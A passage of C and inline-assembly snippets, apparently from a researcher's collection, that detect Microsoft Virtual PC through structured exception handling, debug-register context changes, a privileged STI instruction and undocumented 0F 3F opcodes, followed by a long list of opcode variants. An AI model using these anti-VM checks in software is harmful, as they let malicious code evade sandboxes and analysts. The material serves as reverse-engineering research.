         *(unsigned long*)(pContext)=CONTEXT_ALL;/*CONTEXT_DEBUG_REGISTERS|CONTEXT_FULL*/
         *(unsigned long*)(pContext+0x4)=(unsigned long)(&dummy); 
         *(unsigned long*)(pContext+0x8)=(unsigned long)(&dummy);
         *(unsigned long*)(pContext+0xC)=(unsigned long)(&dummy);
         *(unsigned long*)(pContext+0x10)=(unsigned long)(&dummy);
         *(unsigned long*)(pContext+0x14)=0;
         *(unsigned long*)(pContext+0x18)=0x155; //Enable the four DRx On-Execute
         //---------------------------------------------------------------------------------
         (*(unsigned long*)(pContext+0xB8))++;
         return ExceptionContinueExecution;
     }
     else if(pRec->ExceptionCode==EXCEPTION_SINGLE_STEP)
     {
         if(gf==1)
         {
                MessageBox(0,"Expected behavior (XP)","waliedassar",0);
                ExitProcess(0);
         }
         gf++;
         (*(unsigned long*)(pContext+0xC0))|=0x00010000; //Set the RF (Resume Flag)
         return ExceptionContinueExecution;
     }
     return ExceptionContinueSearch;
 }

 int dummy(int x)
 {
     x+=0x100;
     return x;
 }

 int main(int shitArg)
 {
     unsigned long ver_=GetVersion();
     unsigned long major=ver_&0xFF;
     unsigned long minor=(ver_>>0x8)&0xFF;
     if(major==0x05 & minor==0x01) //Windows XP
     {
         unsigned long x=0;
         __asm
         {
            push offset Handler
            push dword ptr fs:[0x0]
            mov dword ptr fs:[0x0],esp
            STI; Triggers an exception(privileged instruction)
         }
         dummy(0xFF);
         __asm
         {
             pop dword ptr fs:[0x0]
             pop ebx
         }
         MessageBox(0,"Virtual PC 2007 detected (XP)","waliedassar",0);
     }
     return 0;
 }

//http://waleedassar.blogspot.com (@waleedassar)
 //If running inside VirtualPC, the Illegal Instruction exception will be swallowed and no exception is raised.
 // In this code "\x0f\x3F\x07\x0B" is used, other "\x0F\x3F\xXX\xXX" are also working.
 //For more: http://pastebin.com/VDDRcmdL
 #include "stdafx.h"
 #include "windows.h"
 #include "stdio.h"

 bool x=false;

 int __cdecl Handler(EXCEPTION_RECORD* pRec,void* est,unsigned char* pContext,void* disp)
 {
       x=true;
       (*(unsigned long*)(pContext+0xB8))+=4;
       return ExceptionContinueExecution;
 }

 int main(int argc, char* argv[])
 {
     __asm
     {
         push offset Handler
         push dword ptr fs:[0x0]
         mov dword ptr fs:[0x0],esp
         __emit 0Fh
         __emit 3Fh
         __emit 07h
         __emit 0Bh
     }
     if(x==false)
     {
         MessageBox(0,"VirtualPC detected","waliedassar",0);
         ExitProcess(0);
     }

     __asm
     {
         pop dword ptr fs:[0x0]
         pop eax
     }
     return 0;
 }

//http://waleedassar.blogspot.com (@waleedassar)
 //Each of the following can be used to detect VirtualPC
 //For more info: http://pastebin.com/wuqcUaiE

 \xF\x3F\x1\x0
 \xF\x3F\x5\x0
 \xF\x3F\x7\x0
 \xF\x3F\xD\x0
 \xF\x3F\x10\x0
 \xF\x3F\x1\x1
 \xF\x3F\x5\x1
 \xF\x3F\x7\x1
 \xF\x3F\xD\x1
 \xF\x3F\x10\x1
 \xF\x3F\x1\x2
 \xF\x3F\x5\x2
 \xF\x3F\x7\x2
 \xF\x3F\xD\x2
 \xF\x3F\x10\x2
 \xF\x3F\x1\x3
 \xF\x3F\x5\x3
 \xF\x3F\x7\x3
 \xF\x3F\xD\x3
 \xF\x3F\x10\x3
 \xF\x3F\x1\x4
 \xF\x3F\x5\x4
 \xF\x3F\x7\x4
 \xF\x3F\xD\x4
 \xF\x3F\x10\x4
 \xF\x3F\x1\x5
 \xF\x3F\x5\x5
 \xF\x3F\x7\x5
 \xF\x3F\xD\x5
 \xF\x3F\x10\x5
 \xF\x3F\x1\x6
 \xF\x3F\x5\x6
 \xF\x3F\x7\x6
 \xF\x3F\xD\x6
 \xF\x3F\x10\x6
 \xF\x3F\x1\x7
 \xF\x3F\x5\x7
 \xF\x3F\x7\x7
 \xF\x3F\xD\x7
 \xF\x3F\x10\x7
 \xF\x3F\x1\x8
 \xF\x3F\x5\x8
 \xF\x3F\x7\x8
 \xF\x3F\xD\x8
 \xF\x3F\x10\x8
 \xF\x3F\x1\x9
 \xF\x3F\x5\x9
 \xF\x3F\x7\x9
 \xF\x3F\xD\x9
 \xF\x3F\x10\x9
 \xF\x3F\x1\xA
 \xF\x3F\x5\xA
 \xF\x3F\x7\xA
 \xF\x3F\xD\xA
 \xF\x3F\x10\xA
 \xF\x3F\x1\xB
 \xF\x3F\x5\xB
 \xF\x3F\x7\xB
 \xF\x3F\xD\xB
 \xF\x3F\x10\xB
 \xF\x3F\x1\xC
 \xF\x3F\x5\xC
 \xF\x3F\x7\xC
 \xF\x3F\xD\xC
 \xF\x3F\x10\xC
 \xF\x3F\x1\xD
 \xF\x3F\x5\xD
 \xF\x3F\x7\xD
 \xF\x3F\xD\xD
 \xF\x3F\x10\xD
 \xF\x3F\x1\xE
 \xF\x3F\x5\xE
 \xF\x3F\x7\xE
 \xF\x3F\xD\xE
 \xF\x3F\x10\xE
 \xF\x3F\x1\xF
 \xF\x3F\x5\xF
 \xF\x3F\x7\xF
 \xF\x3F\xD\xF
 \xF\x3F\x10\xF
 \xF\x3F\x1\x10
 \xF\x3F\x5\x10
 \xF\x3F\x7\x10
 \xF\x3F\xD\x10
 \xF\x3F\x10\x10
 \xF\x3F\x1\x11
 \xF\x3F\x5\x11
 \xF\x3F\x7\x11
 \xF\x3F\xD\x11
 \xF\x3F\x10\x11
 \xF\x3F\x1\x12
 \xF\x3F\x5\x12
 \xF\x3F\x7\x12
 \xF\x3F\xD\x12
 \xF\x3F\x10\x12
 \xF\x3F\x1\x13
 \xF\x3F\x5\x13
 \xF\x3F\x7\x13
 \xF\x3F\xD\x13
 \xF\x3F\x10\x13
 \xF\x3F\x1\x14
 \xF\x3F\x5\x14
 \xF\x3F\x7\x14
 \xF\x3F\xD\x14
 \xF\x3F\x10\x14
 \xF\x3F\x1\x15
 \xF\x3F\x5\x15
 \xF\x3F\x7\x15
 \xF\x3F\xD\x15
 \xF\x3F\x10\x15
 \xF\x3F\x1\x16
 \xF\x3F\x5\x16
 \xF\x3F\x7\x16
 \xF\x3F\xD\x16
 \xF\x3F\x10\x16
 \xF\x3F\x1\x17
 \xF\x3F\x5\x17
 \xF\x3F\x7\x17
 \xF\x3F\xD\x17
 \xF\x3F\x10\x17
 \xF\x3F\x1\x18
 \xF\x3F\x5\x18
 \xF\x3F\x7\x18
 \xF\x3F\xD\x18
 \xF\x3F\x10\x18
 \xF\x3F\x1\x19
 \xF\x3F\x5\x19
 \xF\x3F\x7\x19
 \xF\x3F\xD\x19
 \xF\x3F\x10\x19
 \xF\x3F\x1\x1A
 \xF\x3F\x5\x1A
 \xF\x3F\x7\x1A
 \xF\x3F\xD\x1A
 \xF\x3F\x10\x1A
 \xF\x3F\x1\x1B
 \xF\x3F\x5\x1B
 \xF\x3F\x7\x1B
 \xF\x3F\xD\x1B
 \xF\x3F\x10\x1B
 \xF\x3F\x1\x1C
 \xF\x3F\x5\x1C
 \xF\x3F\x7\x1C
 \xF\x3F\xD\x1C
 \xF\x3F\x10\x1C
 \xF\x3F\x1\x1D
 \xF\x3F\x5\x1D
 \xF\x3F\x7\x1D
 \xF\x3F\xD\x1D
 \xF\x3F\x10\x1D
 \xF\x3F\x1\x1E
 \xF\x3F\x5\x1E
 \xF\x3F\x7\x1E
 \xF\x3F\xD\x1E
 \xF\x3F\x10\x1E
 \xF\x3F\x1\x1F
 \xF\x3F\x5\x1F
 \xF\x3F\x7\x1F
 \xF\x3F\xD\x1F
 \xF\x3F\x10\x1F
 \xF\x3F\x1\x20
 \xF\x3F\x5\x20
 \xF\x3F\x7\x20
 \xF\x3F\xD\x20
 \xF\x3F\x10\x20
 \xF\x3F\x1\x21
 \xF\x3F\x5\x21
 \xF\x3F\x7\x21
 \xF\x3F\xD\x21
 \xF\x3F\x10\x21
 \xF\x3F\x1\x22
 \xF\x3F\x5\x22
 \xF\x3F\x7\x22
 \xF\x3F\xD\x22
 \xF\x3F\x10\x22
 \xF\x3F\x1\x23
 \xF\x3F\x5\x23
 \xF\x3F\x7\x23
 \xF\x3F\xD\x23
 \xF\x3F\x10\x23
 \xF\x3F\x1\x24
 \xF\x3F\x5\x24
 \xF\x3F\x7\x24
 \xF\x3F\xD\x24
 \xF\x3F\x10\x24
 \xF\x3F\x1\x25
 \xF\x3F\x5\x25
 \xF\x3F\x7\x25
 \xF\x3F\xD\x25
 \xF\x3F\x10\x25
 \xF\x3F\x1\x26
 \xF\x3F\x5\x26
 \xF\x3F\x7\x26
 \xF\x3F\xD\x26
 \xF\x3F\x10\x26
 \xF\x3F\x1\x27
 \xF\x3F\x5\x27
 \xF\x3F\x7\x27
 \xF\x3F\xD\x27
 \xF\x3F\x10\x27
 \xF\x3F\x1\x28
 \xF\x3F\x5\x28
 \xF\x3F\x7\x28
 \xF\x3F\xD\x28
 \xF\x3F\x10\x28
 \xF\x3F\x1\x29
 \xF\x3F\x5\x29
 \xF\x3F\x7\x29
 \xF\x3F\xD\x29
 \xF\x3F\x10\x29
 \xF\x3F\x1\x2A
 \xF\x3F\x5\x2A
 \xF\x3F\x7\x2A
 \xF\x3F\xD\x2A
 \xF\x3F\x10\x2A
 \xF\x3F\x1\x2B
 \xF\x3F\x5\x2B
 \xF\x3F\x7\x2B
 \xF\x3F\xD\x2B
 \xF\x3F\x10\x2B
 \xF\x3F\x1\x2C
 \xF\x3F\x5\x2C
 \xF\x3F\x7\x2C
 \xF\x3F\xD\x2C
 \xF\x3F\x10\x2C
 \xF\x3F\x1\x2D
 \xF\x3F\x5\x2D
 \xF\x3F\x7\x2D
 \xF\x3F\xD\x2D
 \xF\x3F\x10\x2D
 \xF\x3F\x1\x2E
 \xF\x3F\x5\x2E
 \xF\x3F\x7\x2E
 \xF\x3F\xD\x2E
 \xF\x3F\x10\x2E
 \xF\x3F\x1\x2F
 \xF\x3F\x5\x2F
 \xF\x3F\x7\x2F
 \xF\x3F\xD\x2F
 \xF\x3F\x10\x2F
 \xF\x3F\x1\x30
 \xF\x3F\x5\x30
 \xF\x3F\x7\x30
 \xF\x3F\xD\x30
 \xF\x3F\x10\x30
 \xF\x3F\x1\x31
 \xF\x3F\x5\x31
 \xF\x3F\x7\x31
 \xF\x3F\xD\x31
 \xF\x3F\x10\x31
 \xF\x3F\x1\x32
 \xF\x3F\x5\x32
 \xF\x3F\x7\x32
 \xF\x3F\xD\x32
 \xF\x3F\x10\x32
 \xF\x3F\x1\x33
 \xF\x3F\x5\x33
 \xF\x3F\x7\x33
 \xF\x3F\xD\x33
 \xF\x3F\x10\x33
 \xF\x3F\x1\x34
 \xF\x3F\x5\x34
 \xF\x3F\x7\x34
 \xF\x3F\xD\x34
 \xF\x3F\x10\x34
 \xF\x3F\x1\x35
 \xF\x3F\x5\x35
 \xF\x3F\x7\x35
 \xF\x3F\xD\x35
 \xF\x3F\x10\x35
 \xF\x3F\x1\x36
 \xF\x3F\x5\x36
 \xF\x3F\x7\x36
 \xF\x3F\xD\x36
 \xF\x3F\x10\x36
 \xF\x3F\x1\x37
 \xF\x3F\x5\x37
 \xF\x3F\x7\x37
 \xF\x3F\xD\x37
 \xF\x3F\x10\x37
 \xF\x3F\x1\x38
 \xF\x3F\x5\x38
 \xF\x3F\x7\x38
 \xF\x3F\xD\x38
 \xF\x3F\x10\x38
 \xF\x3F\x1\x39
 \xF\x3F\x5\x39
 \xF\x3F\x7\x39
 \xF\x3F\xD\x39
 \xF\x3F\x10\x39
 \xF\x3F\x1\x3A
 \xF\x3F\x5\x3A
 \xF\x3F\x7\x3A
 \xF\x3F\xD\x3A
 \xF\x3F\x10\x3A
 \xF\x3F\x1\x3B
 \xF\x3F\x5\x3B
 \xF\x3F\x7\x3B
 \xF\x3F\xD\x3B
 \xF\x3F\x10\x3B
 \xF\x3F\x1\x3C
 \xF\x3F\x5\x3C
 \xF\x3F\x7\x3C
 \xF\x3F\xD\x3C
 \xF\x3F\x10\x3C
 \xF\x3F\x1\x3D
 \xF\x3F\x5\x3D
 \xF\x3F\x7\x3D
 \xF\x3F\xD\x3D
 \xF\x3F\x10\x3D
 \xF\x3F\x1\x3E
 \xF\x3F\x5\x3E
 \xF\x3F\x7\x3E
 \xF\x3F\xD\x3E
 \xF\x3F\x10\x3E
 \xF\x3F\x1\x3F
 \xF\x3F\x5\x3F
 \xF\x3F\x7\x3F
 \xF\x3F\xD\x3F
 \xF\x3F\x10\x3F
 \xF\x3F\x1\x40
 \xF\x3F\x5\x40
 \xF\x3F\x7\x40
 \xF\x3F\xD\x40
 \xF\x3F\x10\x40
 \xF\x3F\x1\x41
 \xF\x3F\x5\x41
 \xF\x3F\x7\x41
 \xF\x3F\xD\x41
 \xF\x3F\x10\x41
 \xF\x3F\x1\x42
 \xF\x3F\x5\x42
 \xF\x3F\x7\x42
 \xF\x3F\xD\x42
 \xF\x3F\x10\x42
 \xF\x3F\x1\x43
 \xF\x3F\x5\x43
 \xF\x3F\x7\x43
 \xF\x3F\xD\x43
 \xF\x3F\x10\x43
 \xF\x3F\x1\x44
 \xF\x3F\x5\x44
 \xF\x3F\x7\x44
 \xF\x3F\xD\x44
 \xF\x3F\x10\x44
 \xF\x3F\x1\x45
 \xF\x3F\x5\x45
 \xF\x3F\x7\x45
 \xF\x3F\xD\x45
 \xF\x3F\x10\x45
 \xF\x3F\x1\x46
 \xF\x3F\x5\x46
 \xF\x3F\x7\x46
 \xF\x3F\xD\x46
 \xF\x3F\x10\x46
 \xF\x3F\x1\x47
 \xF\x3F\x5\x47
 \xF\x3F\x7\x47
 \xF\x3F\xD\x47
 \xF\x3F\x10\x47
 \xF\x3F\x1\x48
 \xF\x3F\x5\x48
 \xF\x3F\x7\x48
 \xF\x3F\xD\x48
 \xF\x3F\x10\x48
 \xF\x3F\x1\x49
 \xF\x3F\x5\x49
 \xF\x3F\x7\x49
 \xF\x3F\xD\x49
 \xF\x3F\x10\x49
 \xF\x3F\x1\x4A
 \xF\x3F\x5\x4A
 \xF\x3F\x7\x4A
 \xF\x3F\xD\x4A
 \xF\x3F\x10\x4A
 \xF\x3F\x1\x4B
 \xF\x3F\x5\x4B
 \xF\x3F\x7\x4B
 \xF\x3F\xD\x4B
 \xF\x3F\x10\x4B
 \xF\x3F\x1\x4C
 \xF\x3F\x5\x4C
 \xF\x3F\x7\x4C
 \xF\x3F\xD\x4C
 \xF\x3F\x10\x4C
 \xF\x3F\x1\x4D
 \xF\x3F\x5\x4D
 \xF\x3F\x7\x4D
 \xF\x3F\xD\x4D
 \xF\x3F\x10\x4D
 \xF\x3F\x1\x4E
 \xF\x3F\x5\x4E
 \xF\x3F\x7\x4E
 \xF\x3F\xD\x4E
 \xF\x3F\x10\x4E
 \xF\x3F\x1\x4F
 \xF\x3F\x5\x4F
 \xF\x3F\x7\x4F
 \xF\x3F\xD\x4F
 \xF\x3F\x10\x4F
 \xF\x3F\x1\x50
 \xF\x3F\x5\x50
 \xF\x3F\x7\x50
 \xF\x3F\xD\x50
 \xF\x3F\x10\x50
 \xF\x3F\x1\x51
 \xF\x3F\x5\x51
 \xF\x3F\x7\x51
 \xF\x3F\xD\x51
 \xF\x3F\x10\x51
 \xF\x3F\x1\x52
 \xF\x3F\x5\x52
 \xF\x3F\x7\x52
 \xF\x3F\xD\x52
 \xF\x3F\x10\x52
 \xF\x3F\x1\x53
 \xF\x3F\x5\x53
 \xF\x3F\x7\x53
 \xF\x3F\xD\x53
 \xF\x3F\x10\x53
 \xF\x3F\x1\x54
 \xF\x3F\x5\x54
 \xF\x3F\x7\x54
 \xF\x3F\xD\x54
 \xF\x3F\x10\x54
 \xF\x3F\x1\x55
 \xF\x3F\x5\x55
 \xF\x3F\x7\x55
 \xF\x3F\xD\x55
 \xF\x3F\x10\x55
 \xF\x3F\x1\x56
 \xF\x3F\x5\x56
 \xF\x3F\x7\x56
 \xF\x3F\xD\x56
 \xF\x3F\x10\x56
 \xF\x3F\x1\x57
 \xF\x3F\x5\x57
 \xF\x3F\x7\x57
 \xF\x3F\xD\x57
 \xF\x3F\x10\x57
 \xF\x3F\x1\x58
 \xF\x3F\x5\x58
 \xF\x3F\x7\x58
 \xF\x3F\xD\x58
 \xF\x3F\x10\x58
 \xF\x3F\x1\x59
 \xF\x3F\x5\x59
 \xF\x3F\x7\x59
 \xF\x3F\xD\x59
 \xF\x3F\x10\x59
 \xF\x3F\x1\x5A
 \xF\x3F\x5\x5A
 \xF\x3F\x7\x5A
 \xF\x3F\xD\x5A
 \xF\x3F\x10\x5A
 \xF\x3F\x1\x5B
 \xF\x3F\x5\x5B
 \xF\x3F\x7\x5B
 \xF\x3F\xD\x5B
 \xF\x3F\x10\x5B
 \xF\x3F\x1\x5C
 \xF\x3F\x5\x5C
 \xF\x3F\x7\x5C
 \xF\x3F\xD\x5C
 \xF\x3F\x10\x5C
 \xF\x3F\x1\x5D
 \xF\x3F\x5\x5D
 \xF\x3F\x7\x5D
 \xF\x3F\xD\x5D
 \xF\x3F\x10\x5D
 \xF\x3F\x1\x5E
 \xF\x3F\x5\x5E
 \xF\x3F\x7\x5E
 \xF\x3F\xD\x5E
 \xF\x3F\x10\x5E
 \xF\x3F\x1\x5F
 \xF\x3F\x5\x5F
 \xF\x3F\x7\x5F
 \xF\x3F\xD\x5F
 \xF\x3F\x10\x5F
 \xF\x3F\x1\x60
 \xF\x3F\x5\x60
 \xF\x3F\x7\x60
 \xF\x3F\xD\x60
 \xF\x3F\x10\x60
 \xF\x3F\x1\x61
 \xF\x3F\x5\x61
 \xF\x3F\x7\x61
 \xF\x3F\xD\x61
 \xF\x3F\x10\x61
 \xF\x3F\x1\x62
 \xF\x3F\x5\x62
 \xF\x3F\x7\x62
 \xF\x3F\xD\x62
 \xF\x3F\x10\x62
 \xF\x3F\x1\x63
 \xF\x3F\x5\x63
 \xF\x3F\x7\x63
 \xF\x3F\xD\x63
 \xF\x3F\x10\x63
 \xF\x3F\x1\x64
 \xF\x3F\x5\x64
 \xF\x3F\x7\x64
 \xF\x3F\xD\x64
 \xF\x3F\x10\x64
 \xF\x3F\x1\x65
 \xF\x3F\x5\x65
 \xF\x3F\x7\x65
 \xF\x3F\xD\x65
 \xF\x3F\x10\x65
 \xF\x3F\x1\x66
 \xF\x3F\x5\x66
 \xF\x3F\x7\x66
 \xF\x3F\xD\x66
 \xF\x3F\x10\x66
 \xF\x3F\x1\x67
 \xF\x3F\x5\x67
 \xF\x3F\x7\x67
 \xF\x3F\xD\x67
 \xF\x3F\x10\x67
 \xF\x3F\x1\x68
 \xF\x3F\x5\x68
 \xF\x3F\x7\x68
 \xF\x3F\xD\x68
 \xF\x3F\x10\x68
 \xF\x3F\x1\x69
 \xF\x3F\x5\x69
 \xF\x3F\x7\x69
 \xF\x3F\xD\x69
 \xF\x3F\x10\x69
 \xF\x3F\x1\x6A
 \xF\x3F\x5\x6A
 \xF\x3F\x7\x6A
 \xF\x3F\xD\x6A
 \xF\x3F\x10\x6A
 \xF\x3F\x1\x6B
 \xF\x3F\x5\x6B
 \xF\x3F\x7\x6B
 \xF\x3F\xD\x6B
 \xF\x3F\x10\x6B
 \xF\x3F\x1\x6C
 \xF\x3F\x5\x6C
 \xF\x3F\x7\x6C
 \xF\x3F\xD\x6C
 \xF\x3F\x10\x6C
 \xF\x3F\x1\x6D
 \xF\x3F\x5\x6D
 \xF\x3F\x7\x6D
 \xF\x3F\xD\x6D
 \xF\x3F\x10\x6D
 \xF\x3F\x1\x6E
 \xF\x3F\x5\x6E
 \xF\x3F\x7\x6E
 \xF\x3F\xD\x6E
 \xF\x3F\x10\x6E
 \xF\x3F\x1\x6F
 \xF\x3F\x5\x6F
 \xF\x3F\x7\x6F
 \xF\x3F\xD\x6F
 \xF\x3F\x10\x6F
 \xF\x3F\x1\x70
 \xF\x3F\x5\x70
 \xF\x3F\x7\x70
 \xF\x3F\xD\x70
 \xF\x3F\x10\x70
 \xF\x3F\x1\x71
 \xF\x3F\x5\x71
 \xF\x3F\x7\x71
 \xF\x3F\xD\x71
 \xF\x3F\x10\x71
 \xF\x3F\x1\x72
 \xF\x3F\x5\x72
 \xF\x3F\x7\x72
 \xF\x3F\xD\x72
 \xF\x3F\x10\x72
 \xF\x3F\x1\x73
 \xF\x3F\x5\x73
 \xF\x3F\x7\x73
 \xF\x3F\xD\x73
 \xF\x3F\x10\x73
 \xF\x3F\x1\x74
 \xF\x3F\x5\x74
 \xF\x3F\x7\x74
 \xF\x3F\xD\x74
 \xF\x3F\x10\x74
 \xF\x3F\x1\x75
 \xF\x3F\x5\x75
 \xF\x3F\x7\x75
 \xF\x3F\xD\x75
 \xF\x3F\x10\x75
 \xF\x3F\x1\x76
 \xF\x3F\x5\x76
 \xF\x3F\x7\x76
 \xF\x3F\xD\x76
 \xF\x3F\x10\x76
 \xF\x3F\x1\x77
 \xF\x3F\x5\x77
 \xF\x3F\x7\x77
 \xF\x3F\xD\x77
 \xF\x3F\x10\x77
 \xF\x3F\x1\x78
 \xF\x3F\x5\x78
 \xF\x3F\x7\x78
 \xF\x3F\xD\x78
 \xF\x3F\x10\x78
 \xF\x3F\x1\x79
 \xF\x3F\x5\x79
 \xF\x3F\x7\x79
 \xF\x3F\xD\x79
 \xF\x3F\x10\x79
 \xF\x3F\x1\x7A
 \xF\x3F\x5\x7A
 \xF\x3F\x7\x7A
 \xF\x3F\xD\x7A
 \xF\x3F\x10\x7A
 \xF\x3F\x1\x7B
 \xF\x3F\x5\x7B
 \xF\x3F\x7\x7B
 \xF\x3F\xD\x7B
 \xF\x3F\x10\x7B
 \xF\x3F\x1\x7C
 \xF\x3F\x5\x7C
 \xF\x3F\x7\x7C
 \xF\x3F\xD\x7C
 \xF\x3F\x10\x7C
 \xF\x3F\x1\x7D
 \xF\x3F\x5\x7D
 \xF\x3F\x7\x7D
 \xF\x3F\xD\x7D
 \xF\x3F\x10\x7D
 \xF\x3F\x1\x7E
 \xF\x3F\x5\x7E
 \xF\x3F\x7\x7E
 \xF\x3F\xD\x7E
 \xF\x3F\x10\x7E
 \xF\x3F\x1\x7F
 \xF\x3F\x5\x7F
 \xF\x3F\x7\x7F
 \xF\x3F\xD\x7F
 \xF\x3F\x10\x7F
 \xF\x3F\x1\x80
 \xF\x3F\x5\x80
 \xF\x3F\x7\x80
 \xF\x3F\xD\x80
 \xF\x3F\x10\x80
 \xF\x3F\x1\x81
 \xF\x3F\x5\x81
 \xF\x3F\x7\x81
 \xF\x3F\xD\x81
 \xF\x3F\x10\x81
 \xF\x3F\x1\x82
 \xF\x3F\x5\x82
 \xF\x3F\x7\x82
 \xF\x3F\xD\x82
 \xF\x3F\x10\x82
 \xF\x3F\x1\x83
 \xF\x3F\x5\x83
 \xF\x3F\x7\x83
 \xF\x3F\xD\x83
 \xF\x3F\x10\x83
 \xF\x3F\x1\x84
 \xF\x3F\x5\x84
 \xF\x3F\x7\x84
 \xF\x3F\xD\x84
 \xF\x3F\x10\x84
 \xF\x3F\x1\x85
 \xF\x3F\x5\x85
 \xF\x3F\x7\x85
 \xF\x3F\xD\x85
 \xF\x3F\x10\x85
 \xF\x3F\x1\x86
 \xF\x3F\x5\x86
 \xF\x3F\x7\x86
 \xF\x3F\xD\x86
 \xF\x3F\x10\x86
 \xF\x3F\x1\x87
 \xF\x3F\x5\x87
 \xF\x3F\x7\x87
 \xF\x3F\xD\x87
 \xF\x3F\x10\x87
 \xF\x3F\x1\x88
 \xF\x3F\x5\x88
 \xF\x3F\x7\x88
 \xF\x3F\xD\x88
 \xF\x3F\x10\x88
 \xF\x3F\x1\x89
 \xF\x3F\x5\x89
 \xF\x3F\x7\x89
 \xF\x3F\xD\x89
 \xF\x3F\x10\x89
 \xF\x3F\x1\x8A
 \xF\x3F\x5\x8A
 \xF\x3F\x7\x8A
 \xF\x3F\xD\x8A
 \xF\x3F\x10\x8A
 \xF\x3F\x1\x8B
 \xF\x3F\x5\x8B
 \xF\x3F\x7\x8B
 \xF\x3F\xD\x8B
 \xF\x3F\x10\x8B
 \xF\x3F\x1\x8C
 \xF\x3F\x5\x8C
 \xF\x3F\x7\x8C
 \xF\x3F\xD\x8C
 \xF\x3F\x10\x8C
 \xF\x3F\x1\x8D
 \xF\x3F\x5\x8D
 \xF\x3F\x7\x8D
 \xF\x3F\xD\x8D
 \xF\x3F\x10\x8D
 \xF\x3F\x1\x8E
 \xF\x3F\x5\x8E
 \xF\x3F\x7\x8E
 \xF\x3F\xD\x8E
 \xF\x3F\x10\x8E
 \xF\x3F\x1\x8F
 \xF\x3F\x5\x8F
 \xF\x3F\x7\x8F
 \xF\x3F\xD\x8F
 \xF\x3F\x10\x8F
 \xF\x3F\x1\x90
 \xF\x3F\x5\x90
 \xF\x3F\x7\x90
 \xF\x3F\xD\x90
 \xF\x3F\x10\x90
 \xF\x3F\x1\x91
 \xF\x3F\x5\x91
 \xF\x3F\x7\x91
 \xF\x3F\xD\x91
 \xF\x3F\x10\x91
 \xF\x3F\x1\x92
 \xF\x3F\x5\x92
 \xF\x3F\x7\x92
 \xF\x3F\xD\x92
 \xF\x3F\x10\x92
 \xF\x3F\x1\x93
 \xF\x3F\x5\x93
 \xF\x3F\x7\x93
 \xF\x3F\xD\x93
 \xF\x3F\x10\x93
 \xF\x3F\x1\x94
 \xF\x3F\x5\x94
 \xF\x3F\x7\x94
 \xF\x3F\xD\x94
 \xF\x3F\x10\x94
 \xF\x3F\x1\x95
 \xF\x3F\x5\x95
 \xF\x3F\x7\x95
 \xF\x3F\xD\x95
 \xF\x3F\x10\x95
 \xF\x3F\x1\x96
 \xF\x3F\x5\x96
 \xF\x3F\x7\x96
 \xF\x3F\xD\x96
 \xF\x3F\x10\x96
 \xF\x3F\x1\x97
 \xF\x3F\x5\x97
 \xF\x3F\x7\x97
 \xF\x3F\xD\x97
 \xF\x3F\x10\x97
 \xF\x3F\x1\x98
 \xF\x3F\x5\x98
 \xF\x3F\x7\x98
 \xF\x3F\xD\x98
 \xF\x3F\x10\x98
 \xF\x3F\x1\x99
 \xF\x3F\x5\x99
 \xF\x3F\x7\x99
 \xF\x3F\xD\x99
 \xF\x3F\x10\x99
 \xF\x3F\x1\x9A
 \xF\x3F\x5\x9A
 \xF\x3F\x7\x9A
 \xF\x3F\xD\x9A
 \xF\x3F\x10\x9A
 \xF\x3F\x1\x9B
 \xF\x3F\x5\x9B
 \xF\x3F\x7\x9B
 \xF\x3F\xD\x9B
 \xF\x3F\x10\x9B
 \xF\x3F\x1\x9C
 \xF\x3F\x5\x9C
 \xF\x3F\x7\x9C
 \xF\x3F\xD\x9C
 \xF\x3F\x10\x9C
 \xF\x3F\x1\x9D
 \xF\x3F\x5\x9D
 \xF\x3F\x7\x9D
 \xF\x3F\xD\x9D
 \xF\x3F\x10\x9D
 \xF\x3F\x1\x9E
 \xF\x3F\x5\x9E
 \xF\x3F\x7\x9E
 \xF\x3F\xD\x9E
 \xF\x3F\x10\x9E
 \xF\x3F\x1\x9F
 \xF\x3F\x5\x9F
 \xF\x3F\x7\x9F
 \xF\x3F\xD\x9F
 \xF\x3F\x10\x9F
 \xF\x3F\x1\xA0
 \xF\x3F\x5\xA0
 \xF\x3F\x7\xA0
 \xF\x3F\xD\xA0
 \xF\x3F\x10\xA0
 \xF\x3F\x1\xA1
 \xF\x3F\x5\xA1
 \xF\x3F\x7\xA1
 \xF\x3F\xD\xA1
 \xF\x3F\x10\xA1
 \xF\x3F\x1\xA2
 \xF\x3F\x5\xA2
 \xF\x3F\x7\xA2
 \xF\x3F\xD\xA2
 \xF\x3F\x10\xA2
 \xF\x3F\x1\xA3
 \xF\x3F\x5\xA3
 \xF\x3F\x7\xA3
 \xF\x3F\xD\xA3
 \xF\x3F\x10\xA3
 \xF\x3F\x1\xA4
 \xF\x3F\x5\xA4
 \xF\x3F\x7\xA4
 \xF\x3F\xD\xA4
 \xF\x3F\x10\xA4
 \xF\x3F\x1\xA5
 \xF\x3F\x5\xA5
 \xF\x3F\x7\xA5
 \xF\x3F\xD\xA5
 \xF\x3F\x10\xA5
 \xF\x3F\x1\xA6
 \xF\x3F\x5\xA6
 \xF\x3F\x7\xA6
 \xF\x3F\xD\xA6
 \xF\x3F\x10\xA6
 \xF\x3F\x1\xA7
 \xF\x3F\x5\xA7
 \xF\x3F\x7\xA7
 \xF\x3F\xD\xA7
 \xF\x3F\x10\xA7
 \xF\x3F\x1\xA8
 \xF\x3F\x5\xA8
 \xF\x3F\x7\xA8
 \xF\x3F\xD\xA8
 \xF\x3F\x10\xA8
 \xF\x3F\x1\xA9
 \xF\x3F\x5\xA9
 \xF\x3F\x7\xA9
 \xF\x3F\xD\xA9
 \xF\x3F\x10\xA9
 \xF\x3F\x1\xAA
 \xF\x3F\x5\xAA
 \xF\x3F\x7\xAA
 \xF\x3F\xD\xAA
 \xF\x3F\x10\xAA
 \xF\x3F\x1\xAB
 \xF\x3F\x5\xAB
 \xF\x3F\x7\xAB
 \xF\x3F\xD\xAB
 \xF\x3F\x10\xAB
 \xF\x3F\x1\xAC
 \xF\x3F\x5\xAC
 \xF\x3F\x7\xAC
 \xF\x3F\xD\xAC
 \xF\x3F\x10\xAC
 \xF\x3F\x1\xAD
 \xF\x3F\x5\xAD
 \xF\x3F\x7\xAD
 \xF\x3F\xD\xAD
 \xF\x3F\x10\xAD
 \xF\x3F\x1\xAE
 \xF\x3F\x5\xAE
 \xF\x3F\x7\xAE
 \xF\x3F\xD\xAE
 \xF\x3F\x10\xAE
 \xF\x3F\x1\xAF
 \xF\x3F\x5\xAF
 \xF\x3F\x7\xAF
 \xF\x3F\xD\xAF
 \xF\x3F\x10\xAF
 \xF\x3F\x1\xB0
 \xF\x3F\x5\xB0
 \xF\x3F\x7\xB0
 \xF\x3F\xD\xB0
 \xF\x3F\x10\xB0
